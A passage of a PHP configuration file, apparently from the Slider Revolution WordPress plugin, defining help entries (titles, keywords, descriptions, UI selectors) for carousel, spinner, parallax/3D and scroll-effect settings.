									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_stretch"
								)
							),
							'border_radius' => array(
								$t => __("Border Radius", 'revsliderhelp'),
								$h => "carousel.borderRadius",
								$k => array("carousel", "border radius", "carouse border radius"),
								$d => __("Add a CSS border-radius to the carousel items (px)", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_br"
								)
							),
							'space' => array(
								$t => __("Item Spacing", 'revsliderhelp'),
								$h => "carousel.space",
								$k => array("carousel", "carousel spacing", "item spacing", "space", "spacing"),
								$d => __("Define the spacing between the carousel items (px)", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_gap"
								)
							),
							'padding_top' => array(
								$t => __("Padding Top", 'revsliderhelp'),
								$h => "carousel.paddingTop",
								$k => array("carousel", "carousel padding", "carousel padding top", "padding top", "padding"),
								$d => __("Define the CSS padding-top for the carousel items (px)", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_pdt"
								)
							),
							'padding_bottom' => array(
								$t => __("Padding Bottom", 'revsliderhelp'),
								$h => "carousel.paddingBottom",
								$k => array("carousel", "carousel padding", "carousel padding bottom", "padding bottom", "padding"),
								$d => __("Define the CSS padding-bottom for the carousel items (px)", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_pdb"
								)
							),
							'horizontal_align' => array(
								$t => __("Horizontal Align", 'revsliderhelp'),
								$h => "carousel.horizontal",
								$k => array("carousel", "carousel align", "carousel horizontal align", "horizontal align", "align"),
								$d => __("Decide how the items should be aligned horizontally inside the Slide container", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_halign"
								)
							),
							'vertical_align' => array(
								$t => __("Vertical Align", 'revsliderhelp'),
								$h => "carousel.vertical",
								$k => array("carousel", "carousel align", "carousel vertical align", "vertical align", "align"),
								$d => __("Decide how the items should be aligned vertically inside the Slide container", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_valign"
								)
							)
						),
						'animation' => array(
							'easing' => array(
								$t => __("Easing", 'revsliderhelp'),
								$h => "carousel.ease",
								$k => array("carousel", "carousel easing", "carousel transition", "carousel animation", "carousel transition easing", "easing"),
								$d => __("The easing equation for when the carousel changes from one Slide to the next", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_animation', 
									$f => "#sr_ca_ease"
								)
							),
							'speed' => array(
								$t => __("Speed", 'revsliderhelp'),
								$h => "carousel.speed",
								$k => array("carousel", "carousel speed", "carousel transition", "carousel animation", "carousel transition speed", "speed"),
								$d => __("The speed the items will change form one Slide to the next (in milliseconds)", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_animation', 
									$f => "#sr_ca_speed"
								)
							)
						),
						'effects' => array(
							'fade' => array(
								$di => "slider_carousel_fadeout",
								$t => __("Fade Items", 'revsliderhelp'),
								$h => "carousel.fadeOut",
								$k => array("carousel", "fade", "carousel fade", "carousel items", "carousel item opacity"),
								$d => __("Apply opacity to the non-activate Slides", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_fadeall"
								)
							),
							'varying_fade' => array(
								$t => __("Varying Fade", 'revsliderhelp'),
								$h => "carousel.varyFade",
								$k => array("carousel", "fade", "carousel fade", "carousel items", "carousel item opacity", "varying fade"),
								$d => __("Apply varying opacity to the non-activate Slides in staggered order", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'),
										array($p => 'settings.carousel.fadeOut', $v => true, $o => 'slider_carousel_fadeout')
									), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_vfadeall"
								)
							),
							'rotation_enable' => array(
								$di => "slider_carousel_rotation",
								$t => __("Enable 3D Rotation", 'revsliderhelp'),
								$h => "carousel.rotation",
								$k => array("carousel", "rotation", "carousel rotate items", "rotate items", "3d rotation"),
								$d => __("Apply a 3D rotation to the non-active items", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_rotate"
								)
							),
							'degrees' => array(
								$t => __("Rotation Degrees", 'revsliderhelp'),
								$h => "carousel.maxRotation",
								$k => array("carousel", "carousel items", "carousel rotation", "item rotation", "3d rotation", "rotation degrees", "degrees"),
								$d => __("The degree value for the 3D rotation applied to the non-active items", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'),
										array($p => 'settings.carousel.rotation', $v => true, $o => 'slider_carousel_rotation')
									), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_maxrot"
								)
							),
							'varying_rotation' => array(
								$t => __("Varying Rotation", 'revsliderhelp'),
								$h => "carousel.varyRotate",
								$k => array("carousel", "carousel items", "carousel rotation", "item rotation", "3d rotation", "varying rotation"),
								$d => __("Apply varying rotations to the non-activate Slides in staggered order", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'),
										array($p => 'settings.carousel.rotation', $v => true, $o => 'slider_carousel_rotation')
									), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_vrotate"
								)
							),
							'scale' => array(
								$di => "slider_carousel_scale",
								$t => __("Enable Scaling", 'revsliderhelp'),
								$h => "carousel.scale",
								$k => array("carousel", "carousel items", "carousel scale", "item scale", "carousel scaling", "carousel zoom", "zoom"),
								$d => __("Zoom the non-active items by a certain percentage", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_scale"
								)
							),
							'scale_percentage' => array(
								$t => __("Scale Percentage", 'revsliderhelp'),
								$h => "carousel.scaleDown",
								$k => array("carousel", "carousel items", "carousel scale", "item scale", "carousel scaling", "carousel zoom", "zoom"),
								$d => __("Zoom the non-active items by this percentage", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'),
										array($p => 'settings.carousel.scale', $v => true, $o => 'slider_carousel_scale')
									), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_scaleDown"
								)
							),
							'varying_scale' => array(
								$t => __("Varing Scale", 'revsliderhelp'),
								$h => "carousel.varyScale",
								$k => array("carousel", "carousel items", "carousel scale", "item scale", "carousel scaling", "carousel zoom", "zoom", "varying scale", "varying zoom"),
								$d => __("Apply varying scale/zooms to the non-activate Slides in staggered order", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(
										array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel'),
										array($p => 'settings.carousel.scale', $v => true, $o => 'slider_carousel_scale')
									), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel_effects', 
									$f => "#sr_ca_vscale"
								)
							)
						)
					),
					'gst_sl_12' => array(
						'enable_spinner' => array(
							$di => 'slider_spinner',
							$t => __("Spinner / Preloader", 'revsliderhelp'),
							$h => "layout.spinner.type",
							$k => array("spinner", "preloader", "loader"),
							$d => __("Display a spinner animation when the Module first loads", 'revsliderhelp'),
							$a => $u . "module-general-settings/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_12", $st => '#form_sliderspinner', $f => "#revealer_spinners")
						),
						'spinner_color' => array(
							$t => __("Spinner Color", 'revsliderhelp'),
							$h => "layout.spinner.color",
							$k => array("spinner", "preloader", "loader", "spinner color", "preloader color"),
							$d => __("The color of the spinner/preloader that shows before the Module first loads", 'revsliderhelp'),
							$a => $u . "module-general-settings/",
							$hl => array(
								$dp => array(array($p => 'settings.layout.spinner.type', $v => '0::1::2::3::4::5', $o => 'slider_spinner')), 
								$m => "#module_settings_trigger, #gst_sl_12", 
								$st => '#form_sliderspinner', 
								$f => "#module_spinner_color"
							)
						)
					),
					'gst_sl_8' => array(
						'parallax' => array(
							'enable_effects' => array(
								$di => "slider_parallax",
								$t => __("Enable Parallax/3D Effects", 'revsliderhelp'),
								$h => "parallax.set",
								$k => array("parallax", "3D", "3d", "effects", "effect"),
								$d => __("Enable the special effects engine for the Slider", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax', $f => "#sr_effectspddd")
							),
							'enable_3d' => array(
								$di => "slider_parallax_3d",
								$t => __("Enable 3D Effects", 'revsliderhelp'),
								$h => "parallax.setDDD",
								$k => array("3d", "effect", "effects", "3d effect"),
								$d => __("Enable the Parallax/3D effect engine for the Slider", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')), 
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
									$st => '#form_slidergeneral_effects_parallax', 
									$f => "#sr_effectddd"
								)
							),
							'disable_mobile' => array(
								$t => __("Disable Parallax/3D on Mobile", 'revsliderhelp'),
								$h => "parallax.disableOnMobile",
								$k => array("3d", "effect", "effects", "3d effect", "disable", "disable mobile"),
								$d => __("Disable the Parallax/3D effects for mobile devices", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')), 
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
									$st => '#form_slidergeneral_effects_parallax', 
									$f => "#sr_effectdisableonmobile"
								)
							),
							'mouse_sensibility' => array(
								'triggered_by' => array(
									$di => "slider_parallax_mouse_type",
									$t => __("Triggered By", 'revsliderhelp'),
									$h => "parallax.mouse.type",
									$k => array("parallax mouse", "parallax scroll", "scroll", "mouse", "mouse move", "triggered", "triggered by"),
									$d => __("Choose if the Parallax/3D effects should happen on mouse move, page scroll or both", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_mous', $f => "#slider_parallax_mouse_sens_event")
								),
								'parallax_origin' => array(
									$t => __("Parallax Origin", 'revsliderhelp'),
									$h => "parallax.mouse.origo",
									$k => array("parallax origo", "parallax origin, 3D origin"),
									$d => __("Choose if the origin point for the effect should be the Layer's center, or based on where the user first hovered their mouse over the element", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", $st => '#form_slidergeneral_effects_parallax_mous', $f => "#slider_parallax_mouse_origo")
								),
								'mouse_speed' => array(
									$t => __("Mouse Speed", 'revsliderhelp'),
									$h => "parallax.mouse.speed",
									$k => array("mouse speed", "parallax mouse", "parallax mouse speed", "parallax speed"),
									$d => __("The sensitivity speed for the Parallax effect(s) on mouse-move", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.parallax.mouse.type', $v => 'mouse::mousescroll', $o => 'slider_parallax_mouse_type')), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_mous', 
										$f => "#sr_parallax_mbspeed"
									)
								),
								'bg_speed' => array(
									$t => __("Background Image Speed", 'revsliderhelp'),
									$h => "parallax.mouse.bgSpeed",
									$k => array("bg speed", "parallax background", "parallax background image", "parallax image"),
									$d => __("The movement speed for the Slide's main background when the effect(s) occur", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.parallax.mouse.type', $v => 'scroll::mousescroll', $o => 'slider_parallax_mouse_type')), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_mous', 
										$f => "#sr_parallax_mbgspeed"
									)
								),
								'layers_speed' => array(
									$t => __("Layers Speed", 'revsliderhelp'),
									$h => "parallax.mouse.layersSpeed",
									$k => array("bg speed", "parallax background", "parallax background layer", "parallax layers"),
									$d => __("The movement speed for the Slide's Layers when the effect(s) occur", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.parallax.mouse.type', $v => 'scroll::mousescroll', $o => 'slider_parallax_mouse_type')), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_mous', 
										$f => "#sr_parallax_mlayspeed"
									)
								)
							),
							'threed_settings' => array(
								'shadow' => array(
									$t => __("3D Shadow", 'revsliderhelp'),
									$h => "parallax.ddd.shadow",
									$k => array("3d", "3d effect", "3d shadow", "shadow"),
									$d => __("Apply a box-shadow to the 3D element to enhance the effect", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(
											array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'),
											array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d')
										), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_dddd', 
										$f => "#sr_ddd_shadow"
									)
								),
								'background' => array(
									$t => __("Background Enabled", 'revsliderhelp'),
									$h => "parallax.ddd.BGFreeze",
									$k => array("3d", "3d effect", "3d background", "3d bg"),
									$d => __("Choose if the Slide's main background image should be included for the 3D effect", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(
											array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'),
											array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d')
										), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_dddd', 
										$f => "#sr_ddd_BGFreeze"
									)
								),
								'slider_overflow' => array(
									$t => __("Slide BG Overflow Hidden", 'revsliderhelp'),
									$h => "parallax.ddd.overflow",
									$k => array("3d", "3d effect", "3d overflow", "3D overflow hidden", "3d background", "3d bg"),
									$d => __("Choose if the Slider's main background can bleed outside the Slider's bounding box when skewed in 3D space", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(
											array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'),
											array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d')
										), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_dddd', 
										$f => "#sr_ddd_overflow"
									)
								),
								'layers_overflow' => array(
									$t => __("Layers Overflow Hidden", 'revsliderhelp'),
									$h => "parallax.ddd.layerOverflow",
									$k => array("3d", "3d effect", "3d overflow", "3D overflow hidden", "3d layers"),
									$d => __("Choose if Slide Layers can bleed outside the Slider's bounding box when skewed in 3D space", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(
											array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'),
											array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d')
										), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_dddd', 
										$f => "#sr_ddd_layerOverflow"
									)
								),
								'threed_crop_fix' => array(
									$t => __("3D Crop Fix", 'revsliderhelp'),
									$h => "parallax.ddd.zCorrection",
									$k => array("3d", "3d effect", "3d crop", "3D crop fix"),
									$d => __("Applies a translateZ to the 3D elements to help avoid overlapping", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(
											array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'),
											array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d')
										), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_dddd', 
										$f => "#sr_ddd_zCorrection"
									)
								),
								'bg_3d_depth' => array(
									$t => __("BG 3D Depth", 'revsliderhelp'),
									$h => "bgparallaxlevel",
									$k => array("3d", "3d effect", "3d depth", "bg depth", "bg 3d depth"),
									$d => __("The 3D depth level for the Slide's main background", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(
											array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax'),
											array($p => 'settings.parallax.setDDD', $v => true, $o => 'slider_parallax_3d')
										), 
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
										$st => '#form_slidergeneral_effects_parallax_dddd', 
										$f => "#sr_paralaxlevel_16"
									)
								)
							),
							'depths' => array(
								$t => __("Parallax Depths", 'revsliderhelp'),
								$h => "parallax.levels",
								$k => array("parallax", "depth", "parallax depth", "parallax depths"),
								$d => __("Define a depth for each of the 15 options, which can then be assigned to any given Layer", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.parallax.set', $v => true, $o => 'slider_parallax')),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-3 > div", 
									$st => '#form_slidergeneral_effects_parallax_depths', 
									$f => "#sr_paralaxlevel_1"
								)
							)
						),
						'timeline' => array(
							'enabled' => array(
								$di => 'scroll_timeline_enabled',
								$t => __("Timeline Scroll Effects", 'revsliderhelp'),
								$h => "scrolltimeline.set",
								$k => array("timeline", "scroll", "scroll effects", "animation"),
								$d => __("The Slide's content will animate into and out of view as the user scrolls the page.", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", $st => '#form_module_scroll', $f => "#sr_sbt_ge_enabled")
							),
							'easing' => array(
								$t => __("Animation Easing", 'revsliderhelp'),
								$h => "scrolltimeline.ease",
								$k => array("timeline", "scroll", "scroll effects", "animation", "easing"),
								$d => __("The easing equation to be applied to the animated content as the page scrolls", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.scrolltimeline.set', $v => true, $o => 'scroll_timeline_enabled')),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", 
									$st => '#form_module_scroll', 
									$f => "#scroll_timeline_ease"
								)
							),
							'duration' => array(
								$t => __("Animation Speed", 'revsliderhelp'),
								$h => "scrolltimeline.speed",
								$k => array("timeline", "scroll", "scroll effects", "animation", "duration", "speed"),
								$d => __("The speed at which the content will animate as the page scrolls (in milliseconds)", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.scrolltimeline.set', $v => true, $o => 'scroll_timeline_enabled')),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", 
									$st => '#form_module_scroll', 
									$f => "#scrolltimeline_speed"
								)
							),
							'use_on' => array(
								$t => __("Animate Layers on Scroll", 'revsliderhelp'),
								$h => "scrolltimeline.layers",
								$k => array("timeline", "scroll", "scroll effects", "animation", "layers"),
								$d => __("Animate the Layer's by default on Scroll (can then be turned off per Layer in the Layer settings)", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.scrolltimeline.set', $v => true, $o => 'scroll_timeline_enabled')),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-1 > div", 
									$st => '#form_slidergeneral_effects_scroll_on', 
									$f => "#sr_scrtime_layers"
								)
							)
						),
						'effects' => array(
							'enabled' => array(
								$di => 'scroll_effects_enabled',
								$t => __("Scroll Effects", 'revsliderhelp'),
								$h => "scrolleffects.set",
								$k => array("scroll", "scroll effects", "fade on scroll", "special effects"),
								$d => __("Apply special effects to your content when the page is scrolled", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", $st => '#form_slidergeneral_effects_scroll', $f => "#sr_sbe_ge_enabled")
							),
							'fade' => array(
								$t => __("Fade", 'revsliderhelp'),
								$h => "scrolleffects.setFade",
								$k => array("scroll", "scroll effects", "fade on scroll", "special effects"),
								$d => __("Fade the Slider out when  it scrolls into and out of view", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
									$st => '#form_slidergeneral_effects_scroll', 
									$f => "#sr_se_fadeset"
								)
							),
							'grayscale' => array(
								$t => __("GrayScale", 'revsliderhelp'),
								$h => "scrolleffects.setGrayScale",
								$k => array("scroll", "scroll effects", "grayscale on scroll", "special effects", "grayscale"),
								$d => __("Apply a black and white filter to the Slider when it scrolls into and out of view", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
									$st => '#form_slidergeneral_effects_scroll', 
									$f => "#sr_se_grayset"
								)
							),
							'blur' => array(
								$di => "slider_scrolleffects_blur",
								$t => __("Blur", 'revsliderhelp'),
								$h => "scrolleffects.setBlur",
								$k => array("scroll", "scroll effects", "blur on scroll", "special effects", "blur"),
								$d => __("Apply a blur filter to the Slider when it scrolls into and out of view", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
									$st => '#form_slidergeneral_effects_scroll', 
									$f => "#sr_se_blurset"
								)
							),
							'blur_value' => array(
								$t => __("Blur Value", 'revsliderhelp'),
								$h => "scrolleffects.maxBlur",
								$k => array("scroll", "scroll effects", "blur on scroll", "special effects", "blur"),
								$d => __("The blur filter strength for the Blur scroll effect (px)", 'revsliderhelp'),
								$a => $u . "parallax-3d-effect/",
								$hl => array(
									$dp => array(
										array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled'),
										array($p => 'settings.scrolleffects.setBlur', $v => true, $o => 'slider_scrolleffects_blur')
									),  
									$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
									$st => '#form_slidergeneral_effects_scroll', 
									$f => "#sr_se_blurMax"
								)
							),
							'use_on' => array(
								'layers' => array(
									$t => __("Layers", 'revsliderhelp'),
									$h => "scrolleffects.layers",
									$k => array("scroll", "scroll effects", "blur layers", "fade layers"),
									$d => __("Apply the effect(s) to all Layers", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),  
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_on', 
										$f => "#sr_screff_layers"
									)
								),
								'parallax_layers' => array(
									$t => __("Parallax Layers", 'revsliderhelp'),
									$h => "scrolleffects.parallaxLayers",
									$k => array("scroll", "scroll effects", "blur layers", "fade layers", "parallax", "parallax layers"),
									$d => __("Apply the effect(s) to all Parallax Layers", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_on', 
										$f => "#sr_screff_parallaxLayers"
									)
								),
								'slide_bg' => array(
									$t => __("Slide Background", 'revsliderhelp'),
									$h => "scrolleffects.bg",
									$k => array("scroll", "scroll effects", "blur background", "fade background", "slide background", "slide bg", "image background"),
									$d => __("Apply the effect(s) to the Slide's main background", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_on', 
										$f => "#sr_screff_bg"
									)
								),
								'static_layers' => array(
									$t => __("Static/Global Layers", 'revsliderhelp'),
									$h => "scrolleffects.staticLayers",
									$k => array("scroll", "scroll effects", "blur global layers", "fade global layers", "static layers", "global", "global layers"),
									$d => __("Apply the effect(s) to the Slide's Static/Global Layers", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_on', 
										$f => "#sr_screff_staticLayers"
									)
								),
								'static_parallax_layers' => array(
									$t => __("Static/Global Parallax Layers", 'revsliderhelp'),
									$h => "scrolleffects.staticParallaxLayers",
									$k => array("scroll", "scroll effects", "blur global layers", "fade global layers", "static layers", "global", "global layers", "parallax"),
									$d => __("Apply the effect(s) to the Slide's Static/Global Parallax Layers", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_on', 
										$f => "#sr_screff_staticParallaxLayers"
									)
								)
							),
							$dp => array(
								'direction' => array(
									$t => __("Scroll Direction", 'revsliderhelp'),
									$h => "scrolleffects.direction",
									$k => array("scroll", "scroll effects", "scroll direction"),
									$d => __("Apply the effect(s) when the page is scrolled from the top, bottom, or both directions", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_dependencies', 
										$f => "#slider_screff_direction"
									)
								),
								'disable_mobile' => array(
									$t => __("Disable on Mobile", 'revsliderhelp'),
									$h => "scrolleffects.disableOnMobile",
									$k => array("scroll", "scroll effects", "disable", "disable mobile", "disable on mobile"),
									$d => __("Disable the effects on mobile devices", 'revsliderhelp'),
									$a => $u . "parallax-3d-effect/",
									$hl => array(
										$dp => array(array($p => 'settings.scrolleffects.set', $v => true, $o => 'scroll_effects_enabled')),
										$m => "#module_settings_trigger, #gst_sl_8, #sr_sbased-tab-2 > div", 
										$st => '#form_slidergeneral_effects_scroll_dependencies', 
										$f => "#sr_screff_disableOnMobile"
									)
								),
								'offset_tilt' => array(
									$t => __("Offset Tilt", 'revsliderhelp'),
									$h => "scrolleffects.tilt",
									$k => array("scroll", "scroll effects", "tilt", "offset tilt"),
									$d => __("The percentage the Slider is in the page's viewport before the effect(s) are applied", 'revsliderhelp'),
